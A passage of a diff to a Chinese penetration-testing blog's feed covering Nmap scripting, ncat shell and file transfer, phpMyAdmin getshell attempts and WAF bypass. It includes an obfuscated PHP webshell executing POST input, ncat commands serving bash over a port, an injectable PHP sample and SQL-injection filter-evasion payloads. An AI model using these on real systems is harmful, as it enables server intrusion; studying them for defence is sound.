style="color:#e6db74">&#39;username&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#e6db74">&#39;root&#39;</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;password&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#e6db74">&#39;root&#39;</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;port&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#e6db74">&#39;3306&#39;</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;database&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#e6db74">&#39;xxxxx&#39;</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;dbdriver&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#e6db74">&#39;mysqli&#39;</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;dbprefix&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#e6db74">&#39;dr_&#39;</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;pconnect&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#66d9ef">FALSE</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;db_debug&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#66d9ef">true</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;cache_on&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#66d9ef">FALSE</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;cachedir&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#e6db74">&#39;cache/sql/&#39;</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;char_set&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#e6db74">&#39;utf8&#39;</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;dbcollat&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#e6db74">&#39;utf8_general_ci&#39;</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;swap_pre&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#e6db74">&#39;&#39;</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;autoinit&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#66d9ef">FALSE</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;encrypt&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#66d9ef">FALSE</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;compress&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#66d9ef">FALSE</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;stricton&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#66d9ef">FALSE</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;failover&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#66d9ef">array</span>(), +</span></span><span style="display:flex;"><span>); +</span></span></code></pre></td></tr></table> +</div> +</div><p>安装界面: + + <img src="https://images.payloads.online/e3529386-4f5e-11ec-a703-00d861bf4abb.jpg" alt="Install"> + +</p>Nmap扩展开发https://payloads.online/archivers/2017-08-07/1/Mon, 07 Aug 2017 00:00:00 +0000https://payloads.online/archivers/2017-08-07/1/<h2 id="0x00-资产扫描汇总实时监控">0x00 资产扫描、汇总、实时监控</h2> <p>资产扫描能够有利于企业内部查看终端、监控终端、对终端进行安全加固。周期性的扫描能有效快速修补漏洞、降低办公网络风险。</p> <h3 id="如何进行汇总实时监控">如何进行汇总、实时监控?</h3> <p>在我们要进行汇总的时候,有如下几个可以考虑的方案。</p> @@ -3598,7 +7188,32 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, </p> <h3 id="0x02-简介">0X02 简介</h3> -<p>Nmap (“Network Mapper(网络映射器)”) 是一款开放源代码的 网络探测和安全审核的工具。它的设计目标是快速地扫描大型网络,当然用它扫描单个 主机也没有问题。Nmap以新颖的方式使用原始IP报文来发现网络上有哪些主机,那些 主机提供什么服务(应用程序名和版本),那些服务运行在什么操作系统(包括版本信息), 它们使用什么类型的报文过滤器/防火墙,以及一堆其它功能。虽然Nmap通常用于安全审核, 许多系统管理员和网络管理员也用它来做一些日常的工作,比如查看整个网络的信息, 管理服务升级计划,以及监视主机和服务的运行。</p>端口转发工具小结https://payloads.online/archivers/2017-07-31/1/Mon, 31 Jul 2017 00:00:00 +0000https://payloads.online/archivers/2017-07-31/1/<h2 id="0x00-ncat">0X00 ncat</h2> +<p>Nmap (“Network Mapper(网络映射器)”) 是一款开放源代码的 网络探测和安全审核的工具。它的设计目标是快速地扫描大型网络,当然用它扫描单个 主机也没有问题。Nmap以新颖的方式使用原始IP报文来发现网络上有哪些主机,那些 主机提供什么服务(应用程序名和版本),那些服务运行在什么操作系统(包括版本信息), 它们使用什么类型的报文过滤器/防火墙,以及一堆其它功能。虽然Nmap通常用于安全审核, 许多系统管理员和网络管理员也用它来做一些日常的工作,比如查看整个网络的信息, 管理服务升级计划,以及监视主机和服务的运行。</p> +<h3 id="目录结构">目录结构</h3> +<p> + <img src="https://rvn0xsy.oss-cn-shanghai.aliyuncs.com/2017-08-07/0x02.png" alt="目录结构"> + +</p> +<!-- raw HTML omitted --> +<h3 id="扫描流程-v1">扫描流程 V1</h3> +<p> + <img src="https://rvn0xsy.oss-cn-shanghai.aliyuncs.com/2017-08-07/0x03.png" alt="扫描流程 V1"> + +</p> +<h3 id="扫描流程-v2">扫描流程 V2</h3> +<p> + <img src="https://rvn0xsy.oss-cn-shanghai.aliyuncs.com/2017-08-07/0x05.png" alt="扫描流程 V2"> + +</p> +<h3 id="nse-enginenmap-脚本引擎">Nse Engine(Nmap 脚本引擎)</h3> +<p>Nmap Nse 脚本引擎用于针对发现的OS、主机、端口进行不同的操作,例如:Fuzz测试、漏洞发现、漏洞利用等。这对Nmap又增添了一大亮点,所以说Nmap不只是一个扫描工具,在黑客的手中,更是一款爱不释手的渗透工具。</p> +<h3 id="nse-engine的执行流程">Nse Engine的执行流程</h3> +<p> + <img src="https://rvn0xsy.oss-cn-shanghai.aliyuncs.com/2017-08-07/0x04.png" alt="Nse流程"> + +</p> +<h2 id="0x03-一个简单的扩展打开世界">0X03 一个简单的扩展打开世界</h2> +<p><a href="https://nmap.org/book/nse-api.html">https://nmap.org/book/nse-api.html</a></p>端口转发工具小结https://payloads.online/archivers/2017-07-31/1/Mon, 31 Jul 2017 00:00:00 +0000https://payloads.online/archivers/2017-07-31/1/<h2 id="0x00-ncat">0X00 ncat</h2> <h3 id="反弹shell">反弹shell</h3> <p>服务器:<code>ncat -lnv -c bash 4489</code> 将bash转发到4489端口</p> <p>客户端:<code>ncat -nv 172.17.0.1 4489</code> 连接到目标的4489即可获得交互式bash</p> @@ -3611,7 +7226,35 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, <h3 id="建立聊天室">建立聊天室</h3> <p>服务端:<code>ncat -lnv --broker --chat 8432</code></p> <p>客户端:<code>ncat -nv 172.17.0.1 8432</code></p> -<p>参数介绍:</p>光阴是酒,醉了来人https://payloads.online/archivers/2017-06-08/2/Thu, 08 Jun 2017 00:00:00 +0000https://payloads.online/archivers/2017-06-08/2/<p>  季节一茬茬地来了又去了,像人,一批批地走来,又一批批地融化。时间的水,冲刷春夏秋冬,阳春白雪,也让许多人的影子沉溺消逝。尽管寒来暑往是一种经难,而人,也还是在出世入世间醉了自己,醉了时空。</p> +<p>参数介绍:</p> +<p>| <code>--broker</code> | 使用ncat的代理连接模式,允许多个组织连接到ncat的服务器和其他人交流,ncat能创建一个经纪人在连接和系统之间通过NAT或者其他的直接连接。这个选项是和监听模式一起使用的。这会使监听端口的经纪人模式启动 +| <code>--chat</code> | 开启一个简单的ncat聊天服务器</p> +<h3 id="采用ssl加密">采用SSL加密</h3> +<ul> +<li>服务器:<code>ncat -lnv -c bash 4489 --ssl</code></li> +<li>客户端:<code>ncat -nv 172.17.0.1 4489 --ssl</code></li> +</ul> +<h3 id="传输文件">传输文件</h3> +<p>服务端:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>root@Kali:~$ ncat -lnv 1788 &gt; tmp.txt +</span></span><span style="display:flex;"><span>Ncat: Version 7.01 ( https://nmap.org/ncat ) +</span></span><span style="display:flex;"><span>Ncat: Listening on :::1788 +</span></span><span style="display:flex;"><span>Ncat: Listening on 0.0.0.0:1788 +</span></span><span style="display:flex;"><span>Ncat: Connection from 172.17.0.2. +</span></span><span style="display:flex;"><span>Ncat: Connection from 172.17.0.2:48004. +</span></span></code></pre></td></tr></table> +</div> +</div><p>客户端:</p>光阴是酒,醉了来人https://payloads.online/archivers/2017-06-08/2/Thu, 08 Jun 2017 00:00:00 +0000https://payloads.online/archivers/2017-06-08/2/<p>  季节一茬茬地来了又去了,像人,一批批地走来,又一批批地融化。时间的水,冲刷春夏秋冬,阳春白雪,也让许多人的影子沉溺消逝。尽管寒来暑往是一种经难,而人,也还是在出世入世间醉了自己,醉了时空。</p> <p>  是谁把光阴酿成了甘醇,一滴酒里就论了乾坤。点点清亮的水液,容纳了大唐的雄风,装进了汉王的豪气。究竟是时光醉了人,还是人醉了时光。</p> <p>  日子不等人,不管你是柴禾背夫,还是皇室王子,气数的极限就等候在眼前,无论你看见还是看见,抑或装作没看见,它都有足够的耐心蹲守在那里。孟婆碗里的汤,从不分高贵与贫贱,人生命的季节末端,总有奈何桥上大一统的公平与平等。</p> <p>  那是一座怎样美妙的彩虹桥啊!谁走在上面,都是天堂的等待。因为这里废弃了等级观念,人人都是光阴酒缸里的裸浴者。王冠和草帽一样的散香,赤裸的身躯同样的云中飞,雾中驰。</p> @@ -3628,7 +7271,11 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, <p>  芸芸众生是现实的本来面目,众多星星里一盘月亮才是合乎天规的所在。人想通了,则一通百通。闷头曳犁的牛,常常会在收割的季节里咀嚼出生命最本真的滋味。</p> <p>  一枚草叶的清香,就到达了幸福的彼岸。</p> <p>  境界是文化的酒香,悲剧是历史的命题。回光返照让一个时代疯狂得烫手,谁在持念一把剑的血刃上,玷污了一个民族的良知。</p> -<p>  等候的灯盏照不出人前行后尘的路,官僚阶级的产生,让众生瞠目结舌。于是,畸形的意识腐蚀了经世的流年。世界不变的规律就是不停地在变,海不会枯,石不会烂,只有人的誓言才会在利己的环境下溃散如沙。</p>Cknife Bypass WAFhttps://payloads.online/archivers/2017-06-05/1/Mon, 05 Jun 2017 00:00:00 +0000https://payloads.online/archivers/2017-06-05/1/<h2 id="0x00-前言">0x00 前言</h2> +<p>  等候的灯盏照不出人前行后尘的路,官僚阶级的产生,让众生瞠目结舌。于是,畸形的意识腐蚀了经世的流年。世界不变的规律就是不停地在变,海不会枯,石不会烂,只有人的誓言才会在利己的环境下溃散如沙。</p> +<p>  在排除异己,消除后患的现实面前,翻寻先人业力里的残忍,使人返祖的记忆呈现一派黑色瑰丽,亮了自己的眼,暗了神坛上的的灯。</p> +<p>  尘垢在肉身上结成了一件厚厚的外衣,人活不出自我,就被沉重的衣服拖向黑夜的深渊里。思想的灾难导致凡俗间的不了情,为求得一地生存,早已忘却了天堂和地狱两扇迥异的门。</p> +<p>  斟一杯时光的酒,你来我往的路上,皆是醉汉,踉跄的身影,婀娜的梦想,飘逸出岁月的醇香。</p> +<p>  尘世一缘,相遇相逢,你在我的眼里,我在你的眸上,光阴的酒豪迈了来者的醉意,盘腿一坐,便嗅出了年轮的禅味……</p>Cknife Bypass WAFhttps://payloads.online/archivers/2017-06-05/1/Mon, 05 Jun 2017 00:00:00 +0000https://payloads.online/archivers/2017-06-05/1/<h2 id="0x00-前言">0x00 前言</h2> <p>这篇文章之前写过,由于博客关闭,重写一遍。</p> <p>由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本博主不为此承担任何责任。</p> <blockquote> @@ -3654,7 +7301,20 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">7 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">8 -</span></code></prStruts S2-045 Nmap扫描脚本https://payloads.online/archivers/nmap-write-script/Fri, 02 Jun 2017 00:00:00 +0000https://payloads.online/archivers/nmap-write-script/<h2 id="0x00-nmap脚本简介">0x00 Nmap脚本简介</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&lt;?</span><span style="color:#a6e22e">php</span> +</span></span><span style="display:flex;"><span>$___Ss <span style="color:#f92672">=</span> <span style="color:#a6e22e">chr</span>((<span style="color:#ae81ff">97</span> <span style="color:#f92672">^</span> <span style="color:#ae81ff">1</span>)<span style="color:#f92672">+</span><span style="color:#ae81ff">1</span>); <span style="color:#75715e">//[a] +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>$___Ss <span style="color:#f92672">.=</span><span style="color:#a6e22e">chr</span>((<span style="color:#ae81ff">115</span> <span style="color:#f92672">^</span> <span style="color:#ae81ff">1</span>)<span style="color:#f92672">+</span><span style="color:#ae81ff">1</span>); <span style="color:#75715e">//[s] +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>$___Ss <span style="color:#f92672">.=</span><span style="color:#a6e22e">chr</span>((<span style="color:#ae81ff">115</span> <span style="color:#f92672">^</span> <span style="color:#ae81ff">1</span>)<span style="color:#f92672">+</span><span style="color:#ae81ff">1</span>); <span style="color:#75715e">//[s] +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>$___Ss <span style="color:#f92672">.=</span><span style="color:#a6e22e">chr</span>((<span style="color:#ae81ff">101</span> <span style="color:#f92672">^</span> <span style="color:#ae81ff">1</span>)<span style="color:#f92672">+</span><span style="color:#ae81ff">1</span>); <span style="color:#75715e">//[e] +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>$___Ss <span style="color:#f92672">.=</span><span style="color:#a6e22e">chr</span>((<span style="color:#ae81ff">114</span> <span style="color:#f92672">^</span> <span style="color:#ae81ff">0</span>)); <span style="color:#75715e">//[r] +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>$___Ss <span style="color:#f92672">.=</span><span style="color:#a6e22e">chr</span>((<span style="color:#ae81ff">116</span> <span style="color:#f92672">^</span> <span style="color:#ae81ff">0</span>)); <span style="color:#75715e">//[t] +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>$___Ss($_POST[<span style="color:#e6db74">&#39;username&#39;</span>]); +</span></span></code></pre></td></tr></table> +</div> +</div><h2 id="0x01-普通传输模式分析">0x01 普通传输模式分析</h2> +<p>首先我们在WAF开启的情况下直接连接:</p>Struts S2-045 Nmap扫描脚本https://payloads.online/archivers/nmap-write-script/Fri, 02 Jun 2017 00:00:00 +0000https://payloads.online/archivers/nmap-write-script/<h2 id="0x00-nmap脚本简介">0x00 Nmap脚本简介</h2> <p>夜无眠,看了一下Nmap官方的英文API文档(全是English),瞬间心态崩塌,不想吐槽它们的nmap官网前端太丑了=。=,但是都是大牛啊,挺敬佩开源开发者的。</p> <p>Nmap最灵活的就是它的<code>scripts</code>了,在渗透测试中我们经常会用它来扫描服务、漏洞,而且很多脚本也可以用于漏洞利用,总之就是很强大啦~ 具体的介绍在这里:<a href="https://zhuanlan.zhihu.com/p/26618074">Nmap脚本使用指南</a></p> <p>看过《Nmap渗透指南》一书,发现书中对于Nmap脚本的编写是轻描淡写,所以本文就利用一个漏洞实例给大家详细说说这个脚本如何开发的。 @@ -3689,7 +7349,23 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 -</span></code></prphpMyAdmin新姿势getshellhttps://payloads.online/archivers/2017-03-05/1/Thu, 23 Mar 2017 00:00:00 +0000https://payloads.online/archivers/2017-03-05/1/<h2 id="0x00-设想">0x00 设想</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-lua" data-lang="lua"><span style="display:flex;"><span><span style="color:#75715e">--</span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">-- Created by IntelliJ IDEA.</span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">-- User: liyingzhe</span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">-- Date: 17-6-3</span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">-- Time: 上午2:07</span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">-- To change this template use File | Settings | File Templates.</span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">--</span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">local</span> http <span style="color:#f92672">=</span> require <span style="color:#e6db74">&#34;http&#34;</span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">local</span> shortport <span style="color:#f92672">=</span> require <span style="color:#e6db74">&#34;shortport&#34;</span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">local</span> stdnse <span style="color:#f92672">=</span> require <span style="color:#e6db74">&#34;stdnse&#34;</span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">local</span> string <span style="color:#f92672">=</span> require <span style="color:#e6db74">&#34;string&#34;</span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">local</span> vulns <span style="color:#f92672">=</span> require <span style="color:#e6db74">&#34;vulns&#34;</span> +</span></span></code></pre></td></tr></table> +</div> +</div><p>这些基本用于发送HTTP请求、字符串操作、漏洞结果生成、错误调试</p>phpMyAdmin新姿势getshellhttps://payloads.online/archivers/2017-03-05/1/Thu, 23 Mar 2017 00:00:00 +0000https://payloads.online/archivers/2017-03-05/1/<h2 id="0x00-设想">0x00 设想</h2> <p>假设我们拥有MySQL的root权限,登录Web端的phpMyAdmin数据库管理控制台,你有多少种方法去getshell?</p> <p>本文旨在研究新的方法,如果在INTO OUTFILE禁用的情况下,或许会少很多思路了。</p> <p>这里的禁用是完全(权限)禁用,而不是拦截行为。</p> @@ -3716,7 +7392,21 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, </span></code></pre></td> <td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>#1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement. -</span></span></code></pr渗透测试中的Bypass技巧(四)自动化注入https://payloads.online/archivers/2017-03-10/2/Mon, 13 Mar 2017 00:00:00 +0000https://payloads.online/archivers/2017-03-10/2/<h2 id="0x01-简单测试">0x01 简单测试</h2> +</span></span></code></pre></td></tr></table> +</div> +</div><p> + <img src="https://images.payloads.online/dcd90242-4f5e-11ec-8851-00d861bf4abb.jpg" alt="enter description here"> + +</p> +<p>secure-file-priv这个全局变量是指定文件夹作为导出文件存放的地方,默认情况下,secure-file-priv是一个空值(NULL)。我们现在设置为网站的根目录,再去尝试使用INTO OUTFILE getshell。</p> +<p>但是在我们使用SQL修改的时候,发现这个值是只读的。</p> +<p> + <img src="https://images.payloads.online/dd2a46fc-4f5e-11ec-9bc0-00d861bf4abb.jpg" alt="enter description here"> + +</p> +<p>经过查阅资料知道,这个值只能通过修改MySQL的配置文件来达到修改的目的。</p> +<h2 id="0x02-新姿势测试">0x02 新姿势测试</h2> +<p>这些希望破灭以后我并没有沮丧,我相信这些研究都是有用的,有助于我的思考。</p>渗透测试中的Bypass技巧(四)自动化注入https://payloads.online/archivers/2017-03-10/2/Mon, 13 Mar 2017 00:00:00 +0000https://payloads.online/archivers/2017-03-10/2/<h2 id="0x01-简单测试">0x01 简单测试</h2> <p>列举一下常见的WAF:</p> <ul> <li>安全狗</li> @@ -3759,7 +7449,32 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">19 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">20 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">21 -</span></code></pr渗透测试中的Bypass技巧(三)自动化注入https://payloads.online/archivers/2017-03-10/1/Tue, 07 Mar 2017 00:00:00 +0000https://payloads.online/archivers/2017-03-10/1/<h2 id="0x00-匹配资源大小限制">0x00 匹配资源大小限制</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&lt;?</span><span style="color:#a6e22e">php</span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>$link <span style="color:#f92672">=</span> <span style="color:#a6e22e">mysql_connect</span>(<span style="color:#e6db74">&#39;127.0.0.1&#39;</span>,<span style="color:#e6db74">&#39;root&#39;</span>,<span style="color:#e6db74">&#39;root&#39;</span>)<span style="color:#66d9ef">or</span> <span style="color:#66d9ef">die</span>(<span style="color:#e6db74">&#39;Mysql Cannot Connect&#39;</span>); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#a6e22e">mysql_select_db</span>(<span style="color:#e6db74">&#39;qq&#39;</span>); +</span></span><span style="display:flex;"><span>$id <span style="color:#f92672">=</span> <span style="color:#a6e22e">isset</span>($_REQUEST[<span style="color:#e6db74">&#39;id&#39;</span>])<span style="color:#f92672">?</span>$_REQUEST[<span style="color:#e6db74">&#39;id&#39;</span>]<span style="color:#f92672">:</span><span style="color:#ae81ff">1</span>; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>$sql<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;select * from qq where id = &#34;</span><span style="color:#f92672">.</span>$id; +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">echo</span> $sql<span style="color:#f92672">.</span><span style="color:#e6db74">&#39;&lt;hr&gt;&#39;</span>; +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>(<span style="color:#f92672">!</span>$result <span style="color:#f92672">=</span> <span style="color:#a6e22e">mysql_query</span>($sql)){ +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">exit</span>(<span style="color:#a6e22e">mysql_error</span>($link)); +</span></span><span style="display:flex;"><span>} +</span></span><span style="display:flex;"><span>$data <span style="color:#f92672">=</span> <span style="color:#a6e22e">mysql_fetch_assoc</span>($result); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#39;ID = &#39;</span><span style="color:#f92672">.</span>$data[<span style="color:#e6db74">&#39;id&#39;</span>]<span style="color:#f92672">.</span><span style="color:#e6db74">&#39;&lt;br&gt;&#39;</span>; +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#39;NAME = &#39;</span><span style="color:#f92672">.</span>$data[<span style="color:#e6db74">&#39;name&#39;</span>]<span style="color:#f92672">.</span><span style="color:#e6db74">&#39;&lt;br&gt;&#39;</span>; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#39;AGE = &#39;</span><span style="color:#f92672">.</span>$data[<span style="color:#e6db74">&#39;age&#39;</span>]<span style="color:#f92672">.</span><span style="color:#e6db74">&#39;&lt;br&gt;&#39;</span>; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010"> +</span></span></span></code></pre></td></tr></table> +</div> +</div><p>从上方代码可以看到ID并没有做过滤</p>渗透测试中的Bypass技巧(三)自动化注入https://payloads.online/archivers/2017-03-10/1/Tue, 07 Mar 2017 00:00:00 +0000https://payloads.online/archivers/2017-03-10/1/<h2 id="0x00-匹配资源大小限制">0x00 匹配资源大小限制</h2> <p>某些Web服务器的特性不一,导致WAF在判断时候无法完全工作。经常出现的情况大部分都是协议层与Web服务器之间WAF没有很好的处理请求,导致无法拦截很多生僻的攻击手法,那么我们先从GET、POST先说起。</p> <p>Get方法提交的数据大小长度并没有限制,HTTP协议规范没有对URL长度进行限制。这个限制是特定的浏览器及服务器对它的限制。可见WAF可能在处理GET请求的时候,根据客户端(浏览器)规定的长度去匹配了,这就造成了一个缺陷。我们可以把有效数据放在这个限制的零界点,攻击语句放在零界点后方,让WAF以为这是一个正常请求,就随之放行,达到了攻击效果。</p> <p>理论上讲,POST是没有大小限制的。HTTP协议规范也没有进行大小限制,起限制作用的是服务器的处理程序的处理能力。</p> @@ -3794,7 +7509,97 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, <p>等价替换</p> </li> <li> -<p>And ‘s’ like ‘s’</p>渗透测试中的Bypass技巧(二)https://payloads.online/archivers/2017-03-06/1/Mon, 06 Mar 2017 00:00:00 +0000https://payloads.online/archivers/2017-03-06/1/<h2 id="0x01-http不同的请求方法污染">0x01 HTTP不同的请求方法污染</h2> +<p>And ‘s’ like ‘s’</p> +</li> +</ul> +<p>此时我们已经可以使用like用于盲注(此时可以将所有的 = 替换成 Like )</p> +<p> + <img src="https://images.payloads.online/d6a4edbe-4f5e-11ec-82b2-00d861bf4abb.jpg" alt="enter description here"> + +</p> +<h3 id="注释">注释</h3> +<p>我们可以设想出拦截的特征正则</p> +<p>union与select同时出现会被拦截,union[空格,%20,/*部分字符*/]select都会被拦截,目前普通的union select都会被拦截,既然空格,%20都会被匹配到,我们只能通过/**/内联来注释了(目前发现N多姿势,在这里只共享思路+一个bypass的tamper脚本)</p> +<ul> +<li> +<p><code>/**/</code></p> +</li> +<li> +<p><code>/*数字+字母*/</code></p> +</li> +<li> +<p><code>/*特殊符号+数字+字母*/</code></p> +</li> +<li> +<p>&hellip;..more</p> +</li> +</ul> +<p>假设union左右如果有select就拦截的话,那么定位union与select之间的敏感字符就好,假设union<code>[空格]</code>select,此时如果把空格替换成任意内联,就可bypass这个规则,此时规则也不可能是一条的。条件也是很多的。我们也只能讲内联这个规则做手脚了。</p> +<p>于是乎我发现<code>/*^xxx^xxx*/</code>字母加特殊字符即可bypass。</p> +<p>因为每个特征中都没有匹配到^与小写字母、大写字母、数字的组合,这些条件可以继续测试,笔者已经把此文写到最佳精简,测试期间也翻看过拦截日志,定位拦截特征。</p> +<p>(Union注入)例如在读取:mysql密码、表名的时候,我们还会查询information_schema数据库,这个可以转换大小写,或者在information_schema.TABLES直接再添加一个注释。下面就是测试过程:首先测试简单的and 1=1</p> +<p> + <img src="https://images.payloads.online/d6ea58ea-4f5e-11ec-924c-00d861bf4abb.jpg" alt="enter description here"> + +</p> +<p>然后我们使用注释bypass:</p> +<p> + <img src="https://images.payloads.online/d72ef748-4f5e-11ec-9570-00d861bf4abb.jpg" alt="enter description here"> + +</p> +<p>此时已经bypass成功了,我在这里用的是某dog 4.0(3.5也可以)</p> +<p> + <img 